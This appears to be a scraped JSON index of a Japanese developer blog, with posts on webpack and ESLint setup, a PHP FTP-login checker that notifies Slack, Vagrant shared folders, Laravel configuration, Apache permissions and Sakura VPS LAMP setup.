\u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; これで、ビルドします。\nnpm run start これで、ブラウザが起動し、「Hello,webpack!」と表示され、スタイルシートも適用されていればOKです。\nLoaderでESLintを 扱う ESLintってなにかっていうと、JavaScriptの構文チェックツールです。\n導入することいによって、構文エラーをチェックしてくれるので初期段階でバグの発見することができます。\nまた、コードルールを統一することができるので、開発の手間を省くことできます。\nESLintをインストールします。\nnpm info eslint npm i -D eslint@6.1.0 eslint-loaderをインストールします。\nnpm info eslint-loader npm info eslint-loader@2.2.1 初期化処理をします\nnpx eslint --init そうすると、設定の選択をいくつかしていきます。\n今回は以下のような選択をしました。\n? How would you like to use ESLint? To check syntax, find problems, and enforce code style ? What type of modules does your project use? JavaScript modules (import/export) ? Which framework does your project use? None of these ? Where does your code run? (Press \u0026lt;space\u0026gt; to select, \u0026lt;a\u0026gt; to toggle all, \u0026lt;i\u0026gt; to invert selection) Browser ? How would you like to define a style for your project? Use a popular style guide ? Which style guide do you want to follow? Airbnb (https://github.com/airbnb/javascript) ? What format do you want your config file to be in? JSON Checking peerDependencies of eslint-config-airbnb-base@latest The config that you\u0026#39;ve selected requires the following dependencies: ? Would you like to install them now with npm? Yes 初期化処理の設定が終わると、「.eslintrc.json」というファイルが出来上がっていると思います。\n次に、webpack.config.jsを編集して、eslint-loaderの設定を追記します。\nconst path = require(\u0026#39;path\u0026#39;) const HtmlWebPackPlugin = require(\u0026#39;html-webpack-plugin\u0026#39;) const outputPath = path.resolve(__dirname, \u0026#39;dist\u0026#39;) module.exports = { entry: \u0026#39;./src/index.js\u0026#39;, output: { filename: \u0026#39;main.js\u0026#39;, path: outputPath, }, module: { rules: [ // eslint-loaderの設定追記、enforceは優先的にローダを実行する設定 { enforce: \u0026#39;pre\u0026#39;, test: /js$/, exclude: /node_modules/, loader: \u0026#39;eslint-loader\u0026#39;, }, { test: /\\.(sc|c)ss$/, use: [ \u0026#39;style-loader\u0026#39;, \u0026#39;css-loader\u0026#39;, \u0026#39;sass-loader\u0026#39;, ], }, { test: /\\.html$/, loader: \u0026#39;html-loader\u0026#39;, }, ], }, devServer: { contentBase: outputPath, }, plugins: [ new HtmlWebPackPlugin({ template: \u0026#39;./src/index.html\u0026#39;, filename: \u0026#39;./index.html\u0026#39;, }), ], devtool: \u0026#39;source-map\u0026#39;, }; 構文チェックは、他のローダーが実行される前に行いたいので、eslint-loaderの優先順位を一番にします。\nそこで、「enforce: \u0026lsquo;pre\u0026rsquo;」という設定をします。\nこれは、一番初めにローダーを実行するという設定です。\n次に、babel-eslintをインストールします。\nこれは、babelのバーサーでbabelによるトランスファイル前のJavaScriptをチェックするために必要になります。\nnpm i -D babel-eslint 「.eslintrc.json」でパーサーの設定します。\n{ \u0026#34;env\u0026#34;: { \u0026#34;browser\u0026#34;: true, \u0026#34;es6\u0026#34;: true }, \u0026#34;extends\u0026#34;: [ \u0026#34;airbnb-base\u0026#34; ], \u0026#34;globals\u0026#34;: { \u0026#34;Atomics\u0026#34;: \u0026#34;readonly\u0026#34;, \u0026#34;SharedArrayBuffer\u0026#34;: \u0026#34;readonly\u0026#34; }, \u0026#34;parserOptions\u0026#34;: { \u0026#34;ecmaVersion\u0026#34;: 2018, \u0026#34;sourceType\u0026#34;: \u0026#34;module\u0026#34; }, \u0026#34;rules\u0026#34;: { }, \u0026#34;parser\u0026#34;:\u0026#34;babel-eslint\u0026#34; //パーサー設定を追記 } それでは、構文チェックするためファイルを指定して、eslintを実行します。\nnpx eslint src/index.js 構文エラーなどがでてきたら、チェックが正常に行われていることが分かります。\n自動で構文エラーをなおす場合は「\u0026ndash;fix」のオプションをつけます。\nnpx eslint --fix src/index.js 再度、eslintを実行してエラーが出なくなっていればOKです。\nまとめ とりあえず。Loaderの基礎については以上です。\n次に続きます↓\nhttps://blog.pop-web.net/programming/webpack/beginner-webpack-03/\n","permalink":"https://pop-web.github.io/programming/webpack/beginner-webpack-02/","summary":"\u003cp\u003e\u003ca href=\"https://blog.pop-web.net/programming/webpack/beginner-webpack-01/\"\u003e前回の記事\u003c/a\u003eの第2弾です。\u003c/p\u003e\n\u003cp\u003ewebpackにJavaScriptファイルをバンドルする機能以外にも様々な便利機能があります。\u003c/p\u003e\n\u003cp\u003eLoaderについて解説します。\u003c/p\u003e\n\u003ch2 id=\"loaderローダーとは\"\u003eLoader（ローダー）とは？\u003c/h2\u003e\n\u003cp\u003eJavaScript以外のファイルをJavaScriptとして扱えるようにする機能です。\u003c/p\u003e","title":"【初心者向け】webpackとは？使い方を解説②-Loader設定"},{"content":"webpackって？ フロントエンド開発の現場において使用されており、作業の効率化を目的として**「モジュールバンドラー」**と呼ばれる便利ツール。\nモジュールバンドラーって？ CSS、JavaScript、画像といったアセットファイルをJavaScriptのモジュールに変換して合体させるものです。\nmodule（モジュール）は「部品」で、bundle（バンドル）は「束ねる」という意味。\nwebpackの他にも、browserify、RequireJS、rollup.jsといったモジュールハンドラーが存在しますが、webpackがモジュールハンドラーの中で一番人気なので、とりあえずwebpackを知っとけばOKという感じです。\nモジュール化して統合させるのってなんで？ webサイトでは、CSS、JavaScript、画像といった必要なファイルが増えるにつれて、サーバーになんどもリクエストしなければならなくなります。\nそうなると、画面表示をするためにコストがかかり表示速度が遅くなってしまいます。\nそこで、webpackの登場。\nwebpackは、様々なアセットファイル（JavaScript、CSS、画像など）を1つのファイルに統合してくれるため、サーバーへのリクエスト数も減らせるわけです。\nしかも、単に統合させるだけでなく依存関係を解決してから統合してくれます。\n事前に必要なもの Node.jsが必要【LTS(Long Time Support)が推奨】 公式サイトへ行って、「推奨版」てやつをダウンロードしておけばOK。\nwebpackインストールの準備 webpackをインストールするための準備をします。\nプロジェクトフォルダを作成して、npmの初期化処理をしておきます。\nmkdir webpack-test npm init -y webpackのインストール 最新バージョンを確認\nnpm info webpack 「latest:〇〇〇」と書かれているところが最新版なので、それをインストールします。\nwebpackの後に@マークを足して、そのあとにバージョンを書きます。\nnpm i -D webpack@4.39.1 「i」は、installの省略で、「-D」は\u0026ndash;save-devの省略です。\n開発環境のみ使用するパッケージの場合は、「-D」（\u0026ndash;save-dev）オプションを付けます。\nつづて、コマンドラインからwebpackを利用するためのパッケージである「webpack-cli」もインストールします。\n同様に、最新パージョンを確認してインストールします。\nnpm info wepack-cli npm i -D webpack-cli@3.3.6 package.jsonを確認してみます。\n\u0026#34;devDependencies\u0026#34;: { \u0026#34;webpack\u0026#34;: \u0026#34;^4.39.1\u0026#34;, \u0026#34;webpack-cli\u0026#34;: \u0026#34;^3.3.6\u0026#34; } devDependenciesに、webpackとwebpack-cliがあればOK。\nディレクトリを作成する 次に、バンドルする前のソースファイルを置くsrcディレクトリと、バンドルされて吐き出されるdistディレクトを作成しておきます。\nmkdir src mkdir dist index.htmlを作成 distディレクトリにindex.htmlを作成しておきます。\ntouch dist/index.html index.htmlのソースは以下のように適当でOK。\nあとで、バンドルされて生成されるmain.jsをここで読み込んでおきます。\n\u0026lt;!doctype html\u0026gt; \u0026lt;html lang=\u0026#34;ja\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Hello,World!\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; Hello,World! \u0026lt;script src=\u0026#34;main.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; JavaScriptを作成 srcディレクトリにindex.jsを作成します。\ntouch src/index.js 今回は、jQueryを使用してスクリプトを作っていこうと思うので、\nnpmでjQueryをインストールします。最新版を確認したらそれをインストールします。\nnpm info jquery npm i -S jquery@3.4.1 「-S」は、\u0026ndash;saveの省略です。jQueryは開発環境だけでなく、本番環境でも必要なパッケージなのでこのようにします。\nindex.jsにjQueryをインポートしてjQueryのスクリプトを書いていきます。\n以下のように書いてみました。\nbodyタグの中にpタグをを挿入して「Hello, webpack!!」という文字を出力するjQueryのスクリプトです。\nimport $ from \u0026#39;jquery\u0026#39; $(function () { $(\u0026#39;body\u0026#39;).prepend(\u0026#39;\u0026lt;p\u0026gt;Hello, webpack!!\u0026lt;/p\u0026gt;\u0026#39;) }) webpackでバンドルを実行 webpackコマンドを実行して、バンドルしていきます。\n以下のようにコマンドを入力してwebpackを実行します。\nnpx webpack --mode development 「 \u0026ndash;mode development」のオプションは、モードオプションを設定する必要があり、今回は開発中ということで「development」を指定します。\n本番環境の場合は、「\u0026ndash;mode production」とします。\ndistディレクトリを確認してみてください。\nmain.jsが生成されているのが分かると思います。\nブラウザで確認 それでは、index.htmlをブラウザで開いて確認します。\n「Hello, webpack!!」と表示されればOKです。\nこれからわかるように、**jQueryのライブラリと自分で書いたindex.jsとが合体してmain.jsになった**ということが分かると思います。\nwebpack.config.jsの作成と設定 npx webpackを実行すると、srcディレクトリのjsファイルをバンドルして、distディレクトリにmain.jsとして出力するという流れになっていました。\nこういった、どこのファイルをバンドルして、どこへ出力するのかを設定する設定ファイルが「webpack.config.js」というものです。\nentryとoutputの設定 「webpack.config.js」を作成して編集します。\ntouch webpack.config.js 以下のように編集します。\nconst path = require(\u0026#39;path\u0026#39;) //現在のパスを変数へ const outputPath = path.resolve(__dirname,\u0026#39;dist\u0026#39;) //distまでの絶対パスの生成 module.exports = { entry:\u0026#39;./src/index.js\u0026#39;, //バンドルする対象ファイルの指定 output:{ filename:\u0026#39;main.js\u0026#39;, //バンドルされたファイル名の指定 path:outputPath //バンドルされたファイルを出力する場所の指定 } } コードの意味はコメントアウトで書いた通りです。\n編集したら、再度webpackを実行してバンドルされていることを確認しておきます。\nnpx webpack --mode development コマンドを実行する同じ階層に「webpack.config.js」がなく、他の階層にある場合、オプションを付けてパス指定で実行することができます。\nnpx webpack --mode development --config (path)/webpack.config.js ライブサーバのパッケージで快適に ファイルの更新されたら自動リロードしてくれる「webpack-dev-server」をインストールします。\n最新版を確認してからインストールします。\nnpm info webpack-dev-server npm i -D webpack-dev-server@3.7.2 それでは、実行します。\nnpx webpack-dev-server http://localhost:8080/へアクセスしてください。\nそしてdistをクリックしてindex.htmlの表示を確認してください。\n注意点としては、webpack-dev-server起動中にファイルが変更されると自動リロードされて更新されますが、\ndist内のファイルへのビルドはされないで、適宜、npx webpackでビルドする必要があります。\nドキュメントルートを変更したい場合 今の状態だと「/dist」にアクセスしないとindex.htmlは表示できません。\nhttp://localhost:8080/でindex.htmlを表示されるようにするには、webpack.config.jsを編集すればできます。\nwebpack.config.jsへ、以下のようにdevServerプロパティを追記をしましょう。\nconst path = require(\u0026#39;path\u0026#39;) const outputPath = path.resolve(__dirname,\u0026#39;dist\u0026#39;) module.exports = { entry:\u0026#39;./src/index.js\u0026#39;, output:{ filename:\u0026#39;main.js\u0026#39;, path:outputPath }, devServer: { contentBase:outputPath //内部サーバーのドキュメントルートをdistディレクリに設定 } } 設定し終わったら、再度npx webpack-dev-serverを実行してブラウザでindex.htmlがhttp://localhost:8080/で確認できることを確認しておきましょう。\npackage.jsonのタスクの登録で快適に package.jsonにタスク登録というものをしておくことで、より効率的に開発が行えるようになります。\npackage.jsonの「\u0026ldquo;scripts\u0026rdquo;:」のところを以下のように編集しておきます。\n\u0026#34;scripts\u0026#34;: { \u0026#34;start\u0026#34;: \u0026#34;npx webpack-dev-server --open\u0026#34; }, 以下省略・・・ このように登録しておくことで、npm run 〇〇という形でツールを実行することができます.\nでは、実際に実行します。\nnpm run start 同様に、内部サーバーが立ち上がっていることを確認してください。\nちなみに、「\u0026ndash;open」のオプションを付けることで、自動でブラウザを起動してくれます。\nソースマップの作成 コードにエラーがあった時に、ブラウザ上からどこでエラーが発生しているか分かりやすくするためにソースマップの作成を行います。\nwebpack.config.jsを編集します。\ndevtool:source-mapを追記します。\nconst path = require(\u0026#39;path\u0026#39;) const outputPath = path.resolve(__dirname,\u0026#39;dist\u0026#39;) module.exports = { entry:\u0026#39;./src/index.js\u0026#39;, output:{ filename:\u0026#39;main.js\u0026#39;, path:outputPath }, devServer: { contentBase:outputPath }, devtool:\u0026#39;source-map\u0026#39; //ここに追記 } これで、エラーなどをブラウザ上で確認する際には、ビルド前のファイルの状態で確認することができるようになり、開発がしやすくなります。\nまとめ とりあえず、webpackの基本的な機能は以上です。\n次に続きます↓\nhttps://blog.popweb.dev/programming/webpack/beginner-webpack-02/\n","permalink":"https://pop-web.github.io/programming/webpack/beginner-webpack-01/","summary":"\u003ch2 id=\"webpackって\"\u003ewebpackって？\u003c/h2\u003e\n\u003cp\u003eフロントエンド開発の現場において使用されており、作業の効率化を目的として**\u003cem\u003e「モジュールバンドラー」\u003c/em\u003e**と呼ばれる便利ツール。\u003c/p\u003e\n\u003ch2 id=\"モジュールバンドラーって\"\u003eモジュールバンドラーって？\u003c/h2\u003e\n\u003cp\u003eCSS、JavaScript、画像といったアセットファイルをJavaScriptのモジュールに変換して合体させるものです。\u003c/p\u003e","title":"【初心者向け】webpackとは？使い方を解説①"},{"content":"複数のFTPログイン情報の記載があるcsvファイルを参照し、ログイン接続できるかの自動チェックツールを作成しました。\n通知はSlackへ通知するようにしました。\n定期的にチェックしたいので、cronにセッティングしました。\nSlack通知には、APIの「Webhook URL」が必要なので事前に取得しておきます。\n実際に作ったスクリプトは以下になります。\n\u0026lt;?php mb_language(\u0026#34;Japanese\u0026#34;); mb_internal_encoding(\u0026#34;UTF-8\u0026#34;); date_default_timezone_set(\u0026#39;Asia/Tokyo\u0026#39;); //接続情報を配列形式に $connect_array = []; $csv = file(\u0026#39;/usr/local/bin/ftplist.csv\u0026#39;);//FTPログインユーザーのリストファイル foreach ($csv as $row) { $row = str_replace(array(\u0026#34;\\r\\n\u0026#34;, \u0026#34;\\r\u0026#34;, \u0026#34;\\n\u0026#34;), \u0026#39;\u0026#39;, $row);//改行の削除 $row_array = explode(\u0026#39;,\u0026#39;, $row); array_push($connect_array,$row_array); } foreach($connect_array as $connect){ // 設定 $user = $connect[0];//ユーザー名 $pass = $connect[1];//パスワード $host = \u0026#34;192.168.33.10\u0026#34;;//接続先サーバー $port = 21;//Port // FTPサーバ接続 $conn_id = ftp_connect($host,$port); // ログインを試みる if (!@ftp_login($conn_id, $user, $pass)) { $message = \u0026#34;ログインエラー\u0026#34;. PHP_EOL . \u0026#34;以下のユーザーでログインができませんでした。\u0026#34; . PHP_EOL . \u0026#34;$user@$host\u0026#34; . \u0026#34;(\u0026#34; . gethostname() . \u0026#34;)\u0026#34; . PHP_EOL . date(\u0026#34;Y/m/d H:i:s\u0026#34;) . PHP_EOL; // slackへ送信 slack($message); } // 接続を閉じる @ftp_close($conn_id); } // slack通知 function slack($message) { $icon_emoji = \u0026#34;:warning:\u0026#34;; $data = \u0026#34;payload=\u0026#34; . json_encode( array( \u0026#34;text\u0026#34; =\u0026gt; $icon_emoji . $message, ) ); $ch = curl_init(\u0026#34;SlackのWebhook URL\u0026#34;); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, \u0026#34;POST\u0026#34;); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch); } ?\u0026gt; ","permalink":"https://pop-web.github.io/programming/php/ftp-auto-check/","summary":"\u003cp\u003e複数のFTPログイン情報の記載があるcsvファイルを参照し、ログイン接続できるかの自動チェックツールを作成しました。\u003c/p\u003e\n\u003cp\u003e通知はSlackへ通知するようにしました。\u003c/p\u003e","title":"FTPログイン接続をSlackで自動通知するツールの作成"},{"content":"Call to undefined function ssh2_connect() PHPでssh2_connect()を使用したら、上記のエラーがでたのでssh2インストール手順をメモる。\n環境としては、VagrantでCentOSを入れて、PHP5.4をインストール。\nそもそも、ssh2インストールするには、\npeclコマンドでssh2をインストールする必要がある。\npeclのインストール peclを導入するために、Pearが必要\nsudo yum install php54w-pear しかし、上記コマンドでいれようとするとエラー\nsudo yum install -y --enablerepo=remi,remi-php54 php-pear これで対応。\npeclが使用できることを確認します。\npecl ssh2をインストール 必要なものをインストール\nsudo yum -y install libssh2 libssh2-devel これで、やっとssh2をインストールできる。\nsudo pecl install -f ssh2 モジュールが追加されているかを確認\nll /usr/lib64/php/modules/ | grep ssh2 -rw-r--r--. 1 root root 273672 Jul 3 05:48 ssh2.so php.iniへの追記 最後に、php.iniへ「extension=ssh2.so」を追記（最終行でOK）\n参考サイト https://t0463.blogspot.com/2016/05/centos7ssh2connectwo.html https://oc-technote.com/linuxサーバー/centos7%E3%80%80peclを動作させるための長い道のり/ ","permalink":"https://pop-web.github.io/programming/php/call-to-undefined-function-ssh2-connect/","summary":"\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eCall to undefined function ssh2_connect()\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003ePHPでssh2_connect()を使用したら、上記のエラーがでたのでssh2インストール手順をメモる。\u003c/p\u003e\n\u003cp\u003e環境としては、VagrantでCentOSを入れて、PHP5.4をインストール。\u003c/p\u003e","title":"Call to undefined function ssh2_connect()のエラー。ssh2インストールするまでの手順"},{"content":"CentOSとRedHat Enterprise LinuxのOSバージョンを確認したい場合、以下のコマンドを入力して確認します。\ncat /etc/redhat-release Red Hat Enterprise Linux Server release 7.0 ","permalink":"https://pop-web.github.io/server/linux/centos-redhat-enterprise-linux%E3%81%AEos%E3%83%90%E3%83%BC%E3%82%B8%E3%83%A7%E3%83%B3%E7%A2%BA%E8%AA%8D%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89/","summary":"\u003cp\u003eCentOSとRedHat Enterprise LinuxのOSバージョンを確認したい場合、以下のコマンドを入力して確認します。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ecat /etc/redhat-release\nRed Hat Enterprise Linux Server release 7.0\n\u003c/code\u003e\u003c/pre\u003e","title":"CentOS / RedHat Enterprise LinuxのOSバージョン確認コマンド"},{"content":"以前、Vagrantでローカルとサーバ側のデータを同期する共有フォルダの設定手順という記事を書いたが、プラグインである「vagrant-vbguset」が、カーネルのバージョン違いでうまく動作しない場合があるので、プラグイン「vagrant-vbguset」 を使わない共有フォルダの設定手順をまとめます。\nvagrant-vbgusetアンインストール 「vagrant-vbguset」は使わない方法をとるので、インストールしている場合はアインインストールしておきます。\nvagrant plugin uninstall vagrant-vbguest アンインストールされていることを確認します。\nvagrant plugin list まだなにもインストールしていない場合は、Vagrantのインストールをして仮想マシンでCentOS7までインストールしておきましょう。\n手順はこちらを参考に\nWindows10 + VirtualBox + VagrantでLAMP開発環境手順（1）\nVirtualBoxにisoイメージファイルを挿入 VirtualBoxでの作業になります。\nまず、設定する仮想マシンを電源オフします。\n「ストレージ」選択して、ディスクの選択アイコンをクリック。\n「ディスクを選択」ボタンを押します。\n追加ボタンを押して、「VBoxGuestAddition.iso」を選択します。\n※「VBoxGuestAddition.iso」 がある場所は、OracleディレクトリのVirtualBoxの中にあります。\nWindowsの場合は、以下。\nC:\\Program Files\\Oracle\\VirtualBox VBoxGuestAdditionのインストール コンソール画面に戻って、vagrantで仮想マシンの起動します。\nvagrant up サーバーへログインします。\nvagrant ssh 事前に必要なもの 事前準備として以下のパッケージが必要となります。\nkernel-headers kernel-devel gcc make インストールされているか確認\nyum list installed | grep kernel rpm -qa | grep kernel-headers rpm -qa | grep kernel-devel rpm -qa | grep make rpm -qa | grep gcc なければ、インストール\nsudo yum install kernel-headers kernel-devel gcc make kernelのバージョンの差異があるとうまくいかないので、バージョンの確認をしておきます。\nyum list installed | grep kernel kernel.x86_64 3.10.0-957.5.1.el7 @koji-override-1 kernel-devel.x86_64 3.10.0-957.21.3.el7 @updates kernel-headers.x86_64 3.10.0-957.21.3.el7 @updates kernel-tools.x86_64 3.10.0-957.5.1.el7 @koji-override-1 kernel-tools-libs.x86_64 3.10.0-957.5.1.el7 @koji-override-1 上記のように、kernel-develとkernel-headersのバージョンが異なっています。\nバージョンをあわす為に、kernelのアップデートをします。\nsudo yum update kernel 再度、バージョンがそろったか確認します。\nyum list installed | grep kernel kernel.x86_64 3.10.0-957.5.1.el7 @koji-override-1 kernel.x86_64 3.10.0-957.21.3.el7 @updates kernel-devel.x86_64 3.10.0-957.21.3.el7 @updates kernel-headers.x86_64 3.10.0-957.21.3.el7 @updates kernel-tools.x86_64 3.10.0-957.5.1.el7 @koji-override-1 kernel-tools-libs.x86_64 3.10.0-957.5.1.el7 @koji-override-1 次に、GuestAdditionsをマウントします。\nsudo mkdir -p /mnt/cdrom sudo mount -r /dev/cdrom /mnt/cdrom マウントがされて、「/mnt/cdrom」にファイルがたくさんあることを確認します。\nls -la /mnt/cdrom GuestAdditionsをインストールします。\nsudo sh /mnt/cdrom/VBoxLinuxAdditions.run インストールが完了したら、今度はVagrantfileを編集するので、ログアウトしておきます。\nexit 共有フォルダの設定 Vagrantfileを編集します。\nvi Vagrantfile 「config.vm.synced_folder」の箇所のコメントアウトをはずして、共有するゲストOSをホストOSのフォルダをそれぞれ設定します。\nconfig.vm.synced_folder \u0026#34;C:\\\\Users\\\\username\\\\Documents\\\\project\u0026#34;, \u0026#34;/usr/local/bin\u0026#34; vagrant設定の更新をするため、再起動します。\nvagrant halt vagrant up 起動したら、サーバーにログインして共有されていることを確認します。\nvagrant ssh ls -l /usr/local/bin ","permalink":"https://pop-web.github.io/server/vagrant/vagrant-shared-folder-2/","summary":"\u003cp\u003e以前、\u003ca href=\"https://blog.pop-web.net/programming/vagrant-shared-folder/\"\u003eVagrantでローカルとサーバ側のデータを同期する共有フォルダの設定手順\u003c/a\u003eという記事を書いたが、プラグインである「vagrant-vbguset」が、カーネルのバージョン違いでうまく動作しない場合があるので、プラグイン「vagrant-vbguset」 を使わない共有フォルダの設定手順をまとめます。\u003c/p\u003e\n\u003ch2 id=\"vagrant-vbgusetアンインストール\"\u003evagrant-vbgusetアンインストール\u003c/h2\u003e\n\u003cp\u003e「vagrant-vbguset」は使わない方法をとるので、インストールしている場合はアインインストールしておきます。\u003c/p\u003e","title":"Vagrantでローカルとサーバ側のデータを同期する共有フォルダの設定手順（vbguestを使わない編）"},{"content":"Laravelをインストール後の、やってほい方がいい初期設定\nタイムゾーンを日本時間に エラーメッセージを日本語化 タイムゾーンを日本時間に 「/config/app.php」を編集します。\n\u0026#39;timezone\u0026#39; =\u0026gt; \u0026#39;UTC\u0026#39;, ↓ \u0026#39;timezone\u0026#39; =\u0026gt; \u0026#39;Asia/Tokyo\u0026#39;, エラーメッセージを日本語化 「/config/app.php」を編集します。\n\u0026#39;locale\u0026#39; =\u0026gt; \u0026#39;en\u0026#39;, ↓ \u0026#39;locale\u0026#39; =\u0026gt; \u0026#39;ja\u0026#39;, resources/lang/ja/validation.php作成 エラーメッセージの日本語ファイルはデフォルトで設置されていないので、手動で設定していきます。\nhttps://gist.github.com/syokunin/b37725686b5baf09255b\n上記、URLから「validation.php」をダウンロードしてきます。\n「resources/lang/ja/validation.php」という感じで設置します。\nキャッシュをクリア $ php artisan config:clear または $ php artisan config:cache /config/*.phpを編集した後に反映されない場合は、「php artisan config:cache」をしていてキャッシュを読み込んでいるのが原因。\nなので、上の2つのどちらかのコマンドを実行する必要がある。\n使い分けとしては、開発環境ではphp artisan config:clearしておいて、本藩環境ではphp artisan config:cacheとするこが推奨されている。\n","permalink":"https://pop-web.github.io/programming/laravel/laravel-initial-setting/","summary":"\u003cp\u003eLaravelをインストール後の、やってほい方がいい初期設定\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eタイムゾーンを日本時間に\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eエラーメッセージを日本語化\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"タイムゾーンを日本時間に\"\u003e\u003cstrong\u003eタイムゾーンを日本時間に\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003e「/config/app.php」を編集します。\u003c/p\u003e","title":"Laravelのやっておいた方がいい初期設定"},{"content":"よくWEBサーバーの構築なんかで、公開するドキュメントルート配下のhtmlファイル所有者をapacheユーザーにするっていうのをよく見かける。\n正直言うとあれ、なんでやってんのか分かってなかった。\napacheユーザーがブラウザ表示している apacheユーザーは何をしてくれるかというと、htmlファイルやらPHPファイルやらを読み込みブラウザで表示させてくれている。\nここで間違えやすい考えは、ブラウザを使って表示させているんだから、 その他ユーザーの権限でファイルを読み込んでいるということ。\nそう、htmlファイルの読み込みなどは、その他ユーザーがやっているわけではなく、apacheユーザーが行っているのだ。\napacheはデフォルトではその他ユーザーの属する 所有権をなにも設定していない場合、通常apacheユーザーは、普通の一般ユーザーであるため、その他ユーザーに属する。\nそのため、WEBで公開するファイルやディレクトリにはその他ユーザーへ読み込み権限を与えればOKということになる。\nその他ユーザーに読み込み権限がないとき 例えば、ファイルのパーミッションが「640」の場合はどうでしょう。\napacheユーザーはその他ユーザーなので、読み込み権限がない。\nブラウザでhtmlファイルにアクセスすると、「Forbidden You don’t have permission to access /index.html on this server. 」となり表示ができなくなる。\nその他ユーザーに読み込み権限を与えて「644」にすればいいのだが、その他にもやり方がある。\n所有者をapacheユーザーにするか、グループにapacheユーザーを追加してあげればいい。\nそうすれば、その他ユーザが読み込み権限がなくても、apacheユーザーに読み込み権限が与えられる。\n冒頭では、なぜドキュメントルート配下の所有権をapacheユーザーにするか？ということを話した。\nその答えは、apacheユーザーは、公開用ファイルを読み込んでブラウザで表示する役割をしているから必要だということ。\n結局、パーミッションの設定はどうすればいい？ 一般的にWEBに公開するパーミッションはファイルの場合「644」、ディレクトリの場合「755」。\nディレクトリに場合、ファイルをアップロードする場合があるので、書き込み権限もある設定しておく。\n","permalink":"https://pop-web.github.io/server/linux/apache-user/","summary":"\u003cp\u003eよくWEBサーバーの構築なんかで、\u003cstrong\u003e公開するドキュメントルート配下のhtmlファイル所有者をapacheユーザーにする\u003c/strong\u003eっていうのをよく見かける。\u003c/p\u003e","title":"apacheユーザーってなに？"},{"content":"日付情報が必要がなくタイムスタンプを作ってないテーブルへデータを更新・保存しようとすると、以下のようなエラーが出た。\nColumn not found: 1054 Unknown column ‘updated_at’ in ‘field list’ 「updated_atカラムがない」と言っている。\n対処法 タイムスタンプを無効にするため、Modelクラスに以下のように記述をする。\npublic $timestamps = false; ","permalink":"https://pop-web.github.io/programming/laravel/eloquent-timestamp-error/","summary":"\u003cp\u003e日付情報が必要がなくタイムスタンプを作ってないテーブルへデータを更新・保存しようとすると、以下のようなエラーが出た。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eColumn not found: 1054 Unknown column ‘updated_at’ in ‘field list’\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e「updated_atカラムがない」と言っている。\u003c/p\u003e","title":"Eloquentモデルでtimestampがないテーブルに保存・更新でエラーが出たときの対処"},{"content":"さくらVPSでLAMP環境構築手順の説明します。\nLAMP環境構築ですが 、 プラスアルファとしてSSL化、 Git・phpMyAdmin・Wordpressのインストールもします。\n各バージョンは以下のよう。\nCentOS 7 Apache 2.4 MySQL 5.7 PHP 7 その他に入れるもの\nSSL Git phpMyAdmin WordPress [toc]\n事前にさくらのVPSを契約 当たり前ですが、事前にさくらのVPSを契約しておいてください。\n契約後に登録したメルアドに送られてくる自動メールにログイン情報がありますので、それを使ってVPSにログインします。\nちなみに、さくらのVPSは最初の2週間無料でお試しできます。\nCentOS 7のインストール まずは、OSのインストールから。\nさくらのVPSの契約が終わったら、さっそく「VPSコントロールパネル」へログインしましょう。\nコントロールパネルの右上の「各種設定」から「OSインストール」を選びます。\n次に、OSのセレクトでは「CentOS7 x84_64」を選んで、管理ユーザのパスワードを入力。\n今回、パケットフィルタの設定は、SSH(22)とWeb(80/443)のポートを許可しておきます。\n入力が終わったら、設定内容を確認するをクリック。\n確認のポップアップがでるので、確認したら「インストールを実行する」をクリック。\nそうすると、インストールがはじまるので終わるまで待ちます。\nインストールが完了すると、コントールパネルに「稼働中」というサインがでます。\nターミナルからサーバーへログイン ターミナルを起動します。\n今回、Windows10で、Git bashのターミナルを使っています。\n以下のコマンドでサーバにログインします。\nssh root@xxx.xxx.xxx.xxx ※ xxx.xxx.xxx.xxx は、契約したIPアドレス\n「Are you sure you want to continue connecting (yes/no)?」と聞かれるのyesを入力。そのあと、パスワードも聞かれるので、CentOS7をインストールしたときのパスワードを入力。\nソフトフェアのアップデート 最新のソフトウェアを使用したいので、アップデートコマンドを入力。\nyum -y update 途中、「Is this ok?」とでたらyを入力。\n最後に「Complete!」とでたらアップデート完了\n一般ユーザーの作成と設定 普段、rootでログインして作業するにはセキュリティ上よくないので、一般ユーザーを作成して、その一般ユーザでログインして作業を進めていきます。\n好きな名前でいいので、一般ユーザーを作成\nadduser user 一般ユーザーのパスワード設定。以下のコマンドを入力してパスワードを入力\npasswd user New password: 一般ユーザーでsudoを使えるようにする wheelグループに追加することでsudoが使えるようになる。\n以下のコマンドを入力\nvisudo 以下の箇所がコメントアウトされていないことを確認。\n%wheel ALL=(ALL) ALL #がついていた場合は、#を削除して保存\n一般ユーザーをwheelグループに追加。\nusermod -aG wheel user 追加されたか確認\ngroups user user : user wheel wheelグループに属するユーザーのみsuを実行できるようにするために設定する\n以下の、設定ファイルを編集していく\nvi /etc/pam.d/su ファイル内の「auth　required　pam_wheel.so use_uid」からコメント(#)を外して保存。\nこれで、wheelグループ以外のユーザーがsuコマンドを実行しても拒否される。\n一般ユーザーでログイン確認 ログアウトする。\nexit 再度、一般ユーザーでログイン\nssh user@xxx.xxx.xxx.xxx パスワードを聞かれたら、入力してログイン\n先頭が一般ユーザーを示す「$」マークになっていることを確認\n一般ユーザーからrootユーザーになるには 一般ユーザーあらrootユーザーになるには、以下を入力。\nsu - 